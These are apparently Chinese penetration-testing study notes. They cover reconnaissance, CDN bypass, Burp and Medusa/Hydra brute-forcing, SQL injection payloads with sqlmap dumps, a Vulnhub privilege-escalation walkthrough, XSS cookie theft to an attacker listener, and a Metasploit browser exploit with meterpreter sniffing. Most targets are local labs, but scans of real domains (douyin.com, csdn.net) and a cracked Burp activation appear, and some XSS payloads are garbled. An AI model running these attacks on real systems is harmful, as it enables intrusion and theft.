ali Linux默认安装的一款暴力扫描工具。
基于无状态子域名爆破工具
功能强大的子域收集工具
基于python的高级命令行工具, 旨在对web服务器中的目录和文件进行暴力破解。它和我们平时使用的dirb、御剑等工具一样,就是为了扫描网站的敏感文件和目录从而找到突破口,查看是否存在隐藏目录
目录探测工具,用暴力结合字典在目标目录中搜索未链接的内容
号称是目前是最快的互联网端口扫描器
主要面向服务器端口开放情况探测、端口服务指纹识别、以及漏洞探测
Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描
是一款开源的暴力破解工具,支持多种协议的密码破解
自动化的爆破工具
存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作,目前是世界上公开收集漏洞最全的数据库
轻量化的漏洞探测工具
wfuzz
全平台系统提权辅助工具
下载KALI操作系统
https://www.kali.org/get-kali/
sudo passwd
配置源
vim /etc/apt/sources.list
更新软件列表
apt-get update
更新软件
apt-get upgrade
更新内核
apt-get dist-upgrade
apt-get install openssh-server
vim /etc/ssh/sshd_config
PermitRootLogin yes
ervice ssh start #开启ssh服务
/etc/init.d/ssh start #开启ssh服务
/etc/init.d/ssh stop #关闭ssh服务
/etc/init.d/ssh restart #重启ssh服务
update-rc.d ssh enable #自启动服务
apt-get install lrzsz #安装ssh文件传输工具
sz 文件名 #可以将文件发送到PC端
apt-get install wordlists # 安装基础字典
Permission denied, please try again.
原因:未开启权限
解决方法:
vim /etc/ssh/sshd_config
PermitRootLogin yes
网络信息(DNS、IP、端口)、服务器信息(操作系统、版本、服务)、中间件(版本)、
WEB系统信息(使用技术、部署系统、数据库)、第三方软件(版本)、
社工记录(个人邮件地址、泄露账号密码、历史网站信息)
web漏洞发现、系统漏洞发现、漏洞利用、编写自动漏洞利用脚本、放置隐蔽后门(正常软件漏洞)
内网架构分析、攻陷信息中心和数据中心、突破认证服务器(AD域)、
内网中间人攻击(获取单点信息)、多级多点后门驻留、长期监视、深度隐蔽
Ping
服务可以探测网站有那些资产apt-get install dirbuster
apt-get install seclists
cd /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
灵活快速,适合初级分析
这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。
探测域名,不参与探测服务识别
apt-get install gobuster
Usage:
gobuster dns [flags]
Flags:
-d, --domain string #指定目标域名
-h, --help #打印帮助信息
-r, --resolver string #指定DNS服务器
-c, --showcname #显示CNAME记录
-i, --showips #显示域名IP
--w, # 指定字典,自动替换
--t, # 线程
--o # 导出成为文件
--timeout duration #设置超时时间 (默认 1s)
--wildcard #DNS通配符检测(绕过泛解析)
# 探测时间不要超过1分钟
gobuster dns -d douyin.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -i -t 20 -o /tmp/test.txt
OneForAll是一款功能强大的子域收集工具
https://gitee.com/shmilylty/OneForAll#oneforall
下载
git clone https://gitee.com/shmilylty/OneForAll.git
或
git clone https://github.com/shmilylty/OneForAll.git
安装
cd OneForAll/
python3 -m pip install -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/ #kali不需要
# requirements.txt 自动安装Python组件列表
pip3 install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
python3 oneforall.py --help # 安装成功
更新
git stash # 暂存本地的修改
git fetch --all # 拉取项目更新
git pull # 下载覆盖
git stash pop # 释放本地修改
python3 oneforall.py --target example.com run
/tmp/OneForAll/results # 结果路径
python3 oneforall.py --target csdn.net run
┌──(rootyyb)-[/tmp/OneForAll/results]
└─# ls
csdn.net.csv massdns.log oneforall.log result.sqlite3 temp
1、概念
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。
CDN的基本原理是广泛采用各种缓存服务器,将这些缓存服务器分布到用户访问相对集中的地区或网络中,在用户访问网站时,利用全局负载技术将用户的访问指向距离最近的工作正常的缓存服务器上,由缓存服务器直接响应用户请求。
CDN的基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。
domain="mozhe.cn"
在通过IP查看是否有其他域名,如果有的话则为CDN
多个地点Ping服务器,网站测速 - 站长工具 (chinaz.com)
C:\Users\Yang>nslookup www.mozhe.cn
服务器: XiaoQiang
Address: 192.168.31.1
非权威应答:
名称: pa3f1qto.slt.sched.tdnsv8.com
Addresses: 183.204.68.74
120.221.218.159
183.204.1.157
Aliases: www.mozhe.cn
www.mozhe.cn.cdn.dnsv1.com.cn
C:\Users\Yang>nslookup www.aa.com
服务器: XiaoQiang
Address: 192.168.31.1
非权威应答:
名称: www.aa.com
Address: 23.74.241.217
在网站上给自己的账号发送邮件
查看邮件详细信息
通过www.mozhe.cn发送给qq.com在通过网关发送到指定邮箱
如果此IP不可以直接进入,则可以修改本地Host文件,指定DNS解析
Windows:
C:\Windows\System32\drivers\etc\hosts
Linux:
/etc/hosts
添加 42.193.4.222 www.mozhe.cn
再次ping,则发现解析为42.193.4.222
浏览器访问www.mozhe.cn,则绕过CDN
基于资产自动识别的图形化工具,目前有免费版和红队版,支持对服务的识别和漏洞扫描
https://cn.gobies.org/
https://npcap.com/dist/npcap-1.60.exe
apt-get install nmap
端口探测:
nmap 192.168.11.0/24 探测本地网络24掩码网段端口开放情况
-sC 进行脚本探测
-sV 对服务进行版本识别
-vv 显示更多的过程日志
-p- 全端口探测 等同于 -p 1-65535 -p 123,222,111-222
-Pn 无需ping通直接探测
-n 不进行IP反解析
--min-rate 2000 进行最小传输带宽配置
作业二:
探测内网IP端口开放情况,并进行分析
nmap -sC -sV 192.168.52.1 -vv --min-rate=2000 -Pn -n
┌──(rootyyb)-[~]
└─# nmap 192.168.184.133 -sC -sV -p 22 -vv -n
php(apache)
jsp(tomcat)
aspx(iis - Winodws)
js
python
可以利用index加后缀来判断
BurpSuite全套使用教程(超实用超详细介绍)_告白热的博客-CSDN博客_burpsuite教程
检查是否安装了Java环境
java -version
将java14 解压缩到C盘目录下
将Java的运行程序目录复制下来,配置到环境变量path中 C:\Program Files\jdk-14.0.2\bin
在Burpsuite目录下打开开cmd
在命令行下执行 java -jar Loader.jar
双击burp.bat 打开软件
拷贝生成的序列号到burpsuite主程序注册页面中
然后选择手工激活,拷贝第二段注册码粘贴到loader中
然后在loader中拷贝第三段序列号,添加到burpsuite主程序中,然后激活
激活成功后,在进入软件,则不需要之前的激活步骤了
注意
https://www.xp.cn/
2018版本
网络都设置为允许访问
D:\GongJu\phpStudy\PHPTutorial\WWW
建立文件夹防止默认文件
将DVWA和pikachu解压到此文件夹
此时访问127.0.0.1会发现没有内容
配置PHPStudy
初始化pikachu
D:\GongJu\phpStudy\PHPTutorial\WWW\pikachu\inc\config.inc.php
配置数据库密码
root
root
测试:如果查询成功,则证明成功连接
D:\GongJu\phpStudy\PHPTutorial\WWW\DVWA\config
Copy一份config.inc.php,并去掉后缀,编辑Copy后的文件
修改账号密码
配置为Enable
修改配置
allow_url_include = On
重启后才会生效
登录
root
password
GET /Pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: 192.168.184.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.184.1/Pikachu/
Cookie: PHPSESSID=n4pbq7kea30043g29bdqm7iar7
Upgrade-Insecure-Requests: 1
POST /Pikachu/vul/burteforce/bf_form.php HTTP/1.1
Host: 192.168.184.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://192.168.184.1
Connection: close
Referer: http://192.168.184.1/Pikachu/vul/burteforce/bf_form.php
Cookie: PHPSESSID=n4pbq7kea30043g29bdqm7iar7
Upgrade-Insecure-Requests: 1
包含登录信息
username=admin&password=123456&submit=Login
参考:https://www.runoob.com/tags/html-httpmethods.html
对目标进行标签化,筛选对应的目标
增加变化值位置
探测方法
Sniper:只有一个探测点时使用
Battering ram:多个探测点的时候使用(同一个字典不同位置替换相同的字符)
Pitchfork:多个字典替换多个位置
字典1
aaa
bbb
ccc
字典2
123
456
789
0543
/*
只会匹配三条
字典1的第一条与字典2的第一条
字典1的第二条与字典2的第二条
字典1的第三条与字典2的第三条
*/
Cluster bomb:字典一的第一个值和字典二的所有值进行匹配(笛卡尔积)
指定变量值
修改速度和并发
演示
可以添加关键词选项,就会多一个下拉框,添加方法和添加密码相同
探测当前网段有那些开启的IP
netdiscover -r 192.168.184.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
12 Captured ARP Req/Rep packets, from 4 hosts. Total size: 720
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.133 00:0c:29:a0:ad:40 4 240 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 2 120 VMware, Inc. #网关
192.168.184.1 00:50:56:c0:00:08 5 300 VMware, Inc. # 物理机
192.168.184.254 00:50:56:e2:fa:aa 1 60 VMware, Inc. # 交换机默认IP
探测端口
nmap -sC -sV 192.168.184.133 -vv -n --min-rate=2000
# 发现开启了22端口
Discovered open port 22/tcp on 192.168.184.133
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
攻击软件
语法
medusa -M smbnt -h 192.168.1.100 -u Eternal -P pass.lst -e ns -F -v 3
-M: 表示你要破解的类型,协议。
-h:目标机器地址。
-u:用户名。
-U:指定账号字典
-p:指定密码
-P:指定密码字典
-e : 尝试空密码。
-F:破解成功后立即停止破解。用于同时扫描多个主机时,停止破解
-v:显示破解过程。
-t:指定线程
通过medusa –d 查看支持的服务类型
-q:显示支持那些探测
演示
创建密码字典
vim /tmp/passwd.txt
对SSH进行破解
┌──(rootyyb)-[/tmp]
└─# medusa -M ssh -h 192.168.184.133 -u yikjiang -P /tmp/passwd.txt -F -t 10
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 0 complete) Password: 123123 (1 of 8 complete)
# 破解成功
ACCOUNT FOUND: [ssh] Host: 192.168.184.133 User: yikjiang Password: 123123 [SUCCESS]
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: password (2 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: asd (3 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: passwd (4 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: iloveyou (5 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 123456 (6 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 12345678 (7 of 8 complete)
ACCOUNT CHECK: [ssh] Host: 192.168.184.133 (1 of 1, 0 complete) User: yikjiang (1 of 1, 1 complete) Password: 123 (8 of 8 complete)
kali中也默认带了许多字典,路径为
/usr/share/seclists/Passwords
语法
-l 指定用户名
-L 用户名字典
-p 指定密码
-P 密码字典
协议
演示
密码高亮,且不显示其他错误密码
ctrl+u
查看网页源代码使用JS控制插件,禁止JS运行
直接输入正确的验证码,然后抓到数据包,直接进行暴力破解
由于删除了验证码模块,所以步骤同表单破解
绕过方法二:可以通过burpsuite自动修改全段代码,绕过验证机制
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
//改为else if (1 = 2)让JS失效
//也可以改为lse if (1 == 2)让值为False
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
通过抓包,发现传输数据中有一个token参数,并且每次传输,token值都不一样
观察返回页面的代码,发现token值,每次发送登录数据包的时候,都会携带当前页面中的token值
通过intruder,选择需要密码和token两个需要探测的的位置
Positions 中设置attack type 为 pitchfork(一对一模式)
然后进入options ->Grep extract->add
,找到token的值,然后划上,这时候工具将为我们自动生成正则匹配语句
进入payload模块,设置payload1 为密码列表,设置payload2 为 recursive grep模式
因为程序逻辑原因,所以第一个值获取不到对应的token,所以一般情况下将密码列表第一个字符设置为空格
然后,进入resource pool,新建一个策略,将maximum concurrent requests 设置为1,意思是并发数为1
因为token的值是唯一的,所以token不可以并发操作
首先部署dedecms系统
后台管理为:/dede/
抓包测试一下,验证码是否失效,结果是无法进行绕过
验证码每次刷新界面都会失效,所以不可以采取单独发送请求的方式
此时就无法使用之前的方法破解,只可以自动识别
分析验证码的URL,并在PKav工具图形验证码识别模块中进行配置和测试
设置重放配置:
然后进行攻击
Codex方式
select id,level from users where username = 'test'
1基于and
语句,校验是否有漏洞
方法一:
kobe' and 1=1 --返回数据类型
kobe' and 1=2 --不返回数据
方法二:
kobe ' --也可以判断,因为如果注入成功的话则会报错
方法三:
kobe' or 1=1# --返回所有数据
kobe' or 1=2# --返回一条数据或者不返回数据
证明存在SQL注入漏洞
基于加减运算方式,检验是否有漏洞
输入5返回kevin
输入6返回lucy
输入6-1返回kevin
字符型的判断方法可以用于数字型注入判断特殊情况,在HTTP代码中"+"等同于空格
证明存在SQL注入漏洞
判断输入的数据是否会对数据库有影响
order by x
:按照第x列进行排序
kobe' order by 2# -- 正常返回
kobe' order by 3# --返回错误信息
证明SQL存在两行回显信息
可能存在服务器返回多个数据但是浏览器只显示部分数据的情况,所以进行判断,确定回显位置
确定了回显的位置的时候,就可以查询内置函数,提取信息
kobe' union select 'aaa','bbb'# --查看回显的位置
-- 如果只回显一行的话,可以输入一个不存在的账号
ccc' union select 'aaa','bbb'# --查看回显的位置
注意:UNION内部的SELECT语句必须拥有相同数量的列
kobe' union select version(),222# --查看当前数据库的版本
kobe' union select database(),222# --查看当前数据库的名称
kobe' union select database(),version()#
通过了解数据库的版本,可以进行下一步操作
如果MySQL版本大于5.0.0,那么库中存在一个系统信息表information_schema
,记录了所有的数据表结构信息
ccc' union select 'aaa',table_name from information_schema.tables where table_schema = 'pikachu'#
-- ccc为了防止只显示第一行
-- group_concat(table_name)可以将多个输出结果合并为一列
ccc' union select 'Yang',group_concat(table_name) from information_schema.tables where table_schema = 'pikachu'#
aaa' union select 'Yang',group_concat(column_name) from information_schema.columns where table_name='users' and table_schema = 'pikachu'#
-- table_schema = 'pikachu' 使得结果更加准确
ccc' union select username,password from pikachu.users#
ccc' union select group_concat(username),group_concat(password) from pikachu.users#
kobe' and 1=1# --正常返回结果
kobe' and 1=2# --返回空结果
yang' union select database(),'yang'# --提示成功,但是没有回显信息,所以采用盲注的方式
方法一
方法二
kobe' and length(database())>2# --返回正确
kobe' and length(database())>7# --返回正确
kobe' and length(database())<7# --返回错误
得出数据库长度为7
kobe' and (select ascii(substr(database(),1,1))) > 100# --正确
kobe' and (select ascii(substr(database(),1,1))) = 120# --正确
kobe' and length((select group_concat(table_name) from information_schema.tables where table_schema = 'pikachu')) > 1# --猜测结果长度
kobe' and substr((select group_concat(table_name) from information_schema.tables where table_shema='pikachu'),1,1) = 'a' -- 单字符模式猜测和ASCII模式都可以
一款针对SQL注入的自动化漏洞探测和数据挖掘的工具
sqlmap -h #查看帮助信息,也可使用-hh查看详细信息
-u #指定探测目标的URL
--cookie #指定cookie信息
--data #指定post信息
-r # 指定一个发送数据包
-D # 指定数据库名称
-T # 指定表名
-C # 指定列名
--proxy # 通过代理发送数据
--technique #选择类型和模式
B:布尔类型
--string #指定结果为True时的返回值
--not-string #指定结果为False时的返回值
--threads #增加速度和线程,不可超过10
注意:使用的IP地址不能是127.0.0.1
sqlmap -r 111.txt
111.txt为Burpsuite抓取的内容
sqlmap -r 111.txt --dbs
sqlmap -r 111.txt -D pikachu --tables
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent # 添加随机的User-Agent,可以绕过部分防火墙
第二次速度明显加快,因为存在缓存文件,文件位置
/root/.local/share/sqlmap/output/192.168.184.1
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent --dbs
-----------------------------------------------------------------------------------
[17:19:15] [INFO] fetching database names
available databases [8]:
[*] dedecmsv57utf8sp2
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] pikachu
[*] pkxss
[*] test
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu --tables
---------------------------------------------------------------------------------------------
[17:21:56] [INFO] fetching tables for database: 'pikachu'
Database: pikachu
[5 tables]
+----------+
| member |
| httpinfo |
| message |
| users |
| xssblind |
+----------+
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu -T users --columns
---------------------------------------------------------------------------------------------
[17:23:19] [INFO] fetching columns for table 'users' in database 'pikachu'
Database: pikachu
Table: users
[4 columns]
+----------+------------------+
| Column | Type |
+----------+------------------+
| level | int(11) |
| id | int(10) unsigned |
| password | varchar(66) |
| username | varchar(30) |
+----------+------------------+
sqlmap -u "http://192.168.184.1/Pikachu/vul/sqli/sqli_str.php?name=a&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://192.168.184.1:8080 --random-agent -D pikachu -T users -C username,password --dump
-----------------------------------------------------------------------------------------------------
Database: pikachu
Table: users
[3 entries]
+----------+-------------------------------------------+
| username | password |
+----------+-------------------------------------------+
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
| pikachu | 670b14728ad9902aecba32e22fa4f6bd (000000) |
| test | e99a18c428cb38d5f260853678922e03 (abc123) |
+----------+-------------------------------------------+
sqlmap -r 111.txt
会发现只找到了基于时间的盲注,没有找到布尔值的盲注。
解决方法:清除缓存
rm -rf /root/.local/share/sqlmap/output/192.168.184.1
sqlmap -r 111.txt --technique=B #只测试布尔类型
发现软件失效
原因:基于英文,中文返回差异值不能正确判断
解决方法:
--string
指定True时的返回值,--not-string
指定False时的返回值
sqlmap -r 111.txt --technique=B --string="Yang"
sqlmap -r 111.txt --technique=B --string="Yang" --dbs
sqlmap -r 111.txt --technique=B --string="Yang" -D pikachu --dump --threads=10
cd /root/.local/share/sqlmap/output/192.168.184.1/dump/pikachu
导出内容
[Vulnhub - Broken-Gallery writeup (mzfr.me)](https://blog.mzfr.me/vulnhub-writeups/2019-08-21-Broken)
IP:192.168.184.135
开启的端口:22,80
用户名:bob
login: broken password: broken
netdiscover -r 192.168.184.0/24
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 1 60 VMware, Inc.
192.168.184.135 00:0c:29:05:05:03 1 60 VMware, Inc. #发现被攻击者IP
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
发现开启了22端口和80端口
nmap -sC -sV 192.168.184.135 -n -vv --min-rate=2000
_____________________________________________________________________________
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 39:5e:bf:8a:49:a3:13:fa:0d:34:b8:db:26:57:79:a7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsDP1G9p8pMW+TiKn0Exn6d2tGTTPGrKsIAlCWxUoZu/Jz+teqiDxZoQArXlhK/SgXXJv6ufJHMcgWhFOdGG/8Jfm46M7qURTWqTER5f7aNimHTvcBB/Zcnr1cSE+Yt3UgeguQ2VBTqPnESNjIinj5f7OrEJCG6Uvf221Wijzvb6KrYv5LNfrh8UJJ6ieis13aqvjwN1MQdKwMWYAV/2aPLME59TVyqneRDOvFZRDEPMHGJB3ZoNrlNudDf6UqZuLViplnkaN+SuxAWNXYG+g1fA578fNVIzI7bHAYDbCGFZh87TLKHvJvgqlWLDQvo8irzHlWvIpehvbpthnGIG0V
| 256 20:d7:72:be:30:6a:27:14:e1:e6:c2:16:7a:40:c8:52 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOedB//c64utUEo+gsmsh26dzZa0eMsc83InMyXD0rEepjTXqxbplJWFzx3rQSElxwdql+BsaQBI9qg+XROp9ZQ=
| 256 84:a0:9a:59:61:2a:b7:1e:dd:6e:da:3b:91:f9:a0:c6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIwpzv0aEpNMhO0avZsZ46zXc0aPO2V+867IaJkhJuSN
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| 55K 2019-08-09 01:20 README.md
| 1.1K 2019-08-09 01:21 gallery.html
| 259K 2019-08-09 01:11 img_5terre.jpg
| 114K 2019-08-09 01:11 img_forest.jpg
| 663K 2019-08-09 01:11 img_lights.jpg
| 8.4K 2019-08-09 01:11 img_mountains.jpg
|_
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:05:05:03 (VMware)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
未发现隐写
dirsearch
dirsearch -u 192.168.184.135
未发现隐藏目录
=
考虑是否为Base64From Charcode
解码hello
bob
broken
cheers
avrahamcohen.ac
hydra -L test.txt -P test.txt ssh://192.168.184.135
[22][ssh] host: 192.168.184.135 login: broken password: broken
ssh [email protected]
broken@ubuntu:~$ sudo -l
Matching Defaults entries for broken on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User broken may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/timedatectl
(ALL) NOPASSWD: /sbin/reboot
sudo -i
可直接进入rootsudo man man
然后输入!
可直接进入roothistory | more
broken@ubuntu:~$ cat /etc/init.d/password-policy.sh
#!/bin/bash
DAYOFWEEK=$(date +"%u")
echo DAYOFWEEK: $DAYOFWEEK
if [ "$DAYOFWEEK" -eq 4 ]
then
sudo sh -c 'echo root:TodayIsAgoodDay | chpasswd'
fi
#if [ "$DAYOFWEEK" == 4
发现每个周四将密码改为TodayIsAgoodDay
将系统时间改为周四
broken@ubuntu:~$ sudo timedatectl set-time '2022-05-19 12:00'
通过注入手段,将恶意代码传输给服务器,服务器没有做任何校验,将携带恶意代码的数据发送给客户浏览器,浏览器接收数据后,自动执行了恶意的代码,造成浏览器被劫持,浏览器中的账号密码、以及其他数据将面临风险。同时,浏览器可能遭受劫持,被用于钓鱼操作。
<html>
<title>XSS TESTtitle>
<body>
keyword: <br>
body>
html>
http://192.168.184.1/XSS/test_01.php?k=500
http://192.168.184.1/XSS/test_01.php?k=
发现直接写入了返回的代码中
http://192.168.184.1/XSS/test_01.php?k=
http://192.168.184.1/XSS/test_01.php?k=
Kali开启Web监听
python3 -m http.server 80
netstat -an | more #查看已经开启的端口
此时访问Kali的80端口,kali会出现日志
注入语句
192.168.184.1/XSS/test_01.php?k=
192.168.184.1/XSS/test_01.php?k=
发现用户访问192.168.184.1的时候会跳转到192.168.184.128,如果此时用户携带cookie的话,kali也会获取
document.getElementById("dom").innerHTML = "what do you see?";
'>
' onclick="alert('Yang')">
'>
![image-20220516191935943]202205161919017.png)
' onclick="alert('Yang')">
beef-xss
apt-get remove beef-xss --purge #--purge可以删除所有配置文件
apt-get update
发现开启了3000端口
生成的链接
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook:
[*] Example:
此时访问,beef会生成记录
Hello
beef上线新主机
Winxp访问DVWA
beef又上线新主机
msfconsole
msf6 > use exploit/windows/browser/ie_execcommand_uaf
#相关命令
show info #查看介绍
msf6 exploit(windows/browser/ie_execcommand_uaf) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.184.128:4444
[*] Using URL: http://192.168.184.128:8080/YPIWFWLFV5wHiRX #目标需要访问的链接
[*] Server started.
攻击后,xp自动跳转到指定界面
sessions 1 #进入权限
echo YikJiang > test.txt
cd / #进入根目录下
upload /tmp/test.txt
load sniffer
meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
只有一个网卡1
meterpreter > sniffer_start 1
[*] Capture started on interface 1 (50000 packet buffer)
sniffer_stop 1
meterpreter > sniffer_dump 1 /tmp/111.pcap
[*] Flushing packet capture buffer for interface 1...
[*] Flushed 1625 packets (454626 bytes)
[*] Downloaded 100% (454626/454626)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/111.pcap
sz 111.pcap #提取到物理机
抓取到了FTP和HTTP的数据包,并且由于FTP是明文,所以可以查看到密码
✨
netdiscover -r 192.168.184.0/24
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.184.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.184.2 00:50:56:f8:49:8c 1 60 VMware, Inc.
192.168.184.136 00:0c:29:28:c7:d5 1 60 VMware, Inc.
192.168.184.254 00:50:56:e2:c5:b4 1 60 VMware, Inc.
nmap -sC -sV 192.168.184.136 -n -vv --min-rate=2000
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.5p1 Debian 6+squeeze4 (protocol 2.0)
| ssh-hostkey:
| 1024 15:a1:c3:9f:bd:95:f5:07:66:44:b6:f7:89:d1:76:7f (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBANcG8n45XyarI4aMMTJvFKJaCwntIkag3HvyBNC1tulTT5UsMWyq7XZ3YWB57MWpfBzBzm6OvWrSACfVuoA37bm92ugojbi0Gc+SxfDyHeUjizGTbknsGSDhSc43b8fuORtPMXoxTx+i+sbWA1TPzJQOSuCGSvqFqkGcHNY45w9NAAAAFQCg6IS4OJRfA+OEi/CkKf6e6DwjGwAAAIEAxOOO3OGBzPER6jLyWhWl/YFzfcAKrEBJzDzK+xPHF0VhKSfhqqowNC4KDHneQmMJRnwvzjXBR8a4UGXBH9//8NwxKv3QmSqixwZR42fziDuoq7kee9aExGIgbrM0DC0ZOCzCdm/i8cLVOPP+sb5rHynUkGb5ymSwgQ7zR5yI3kYAAACBAMcDImXeWEIUHmbhe1798B7DzBV01Rxj9HuhkzGOwuLA1TXKfr6EZO7qFH1vPIStX9D6YZ4QxR/MjKXdVwEDdbfu+PEpfOrqx6IY1JQniEqQqzqIXMONHk4laRbq6L+yAVnz3NtOZHX4/uYHFA5QRc5yJOqmKxUTGPZMnZN+kps4
| 2048 ad:bf:ed:5c:12:97:cd:38:be:51:09:fa:a0:54:22:52 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1p0+Cjze0ISAf0g0mpqXXHynZ+ITt6kv20U0mzjVLpFTWBI7uYv0HedeIJpZabEMTmmXV0mA37qpGCcsIW/ErjI5PE6T2wKlec3QVtSh0g91XRbKdaVsVRcof170QkfJHwMQeBcZy44t3tel9zt7IqjYB06sqgItS6GJpcp/SuxH51tZUvYUtheKo7+hFVTi3C/UA8VkWmonvitl42QC3/2DQ1F8kI0+Knif/J+92uG6GKCJU7igRGM+FHzbRnb9VU5sMJxC36cBZzn+IAkoRA3hH7fwOlIhlABiQqlmSLJc9Fgf6MlZtookt95CvEGCK/bdcczJMVBWDMZOsLWVN
80/tcp open http syn-ack ttl 64 Apache httpd 2.2.16 ((Debian))
|_http-title: PentesterLab vulnerable blog
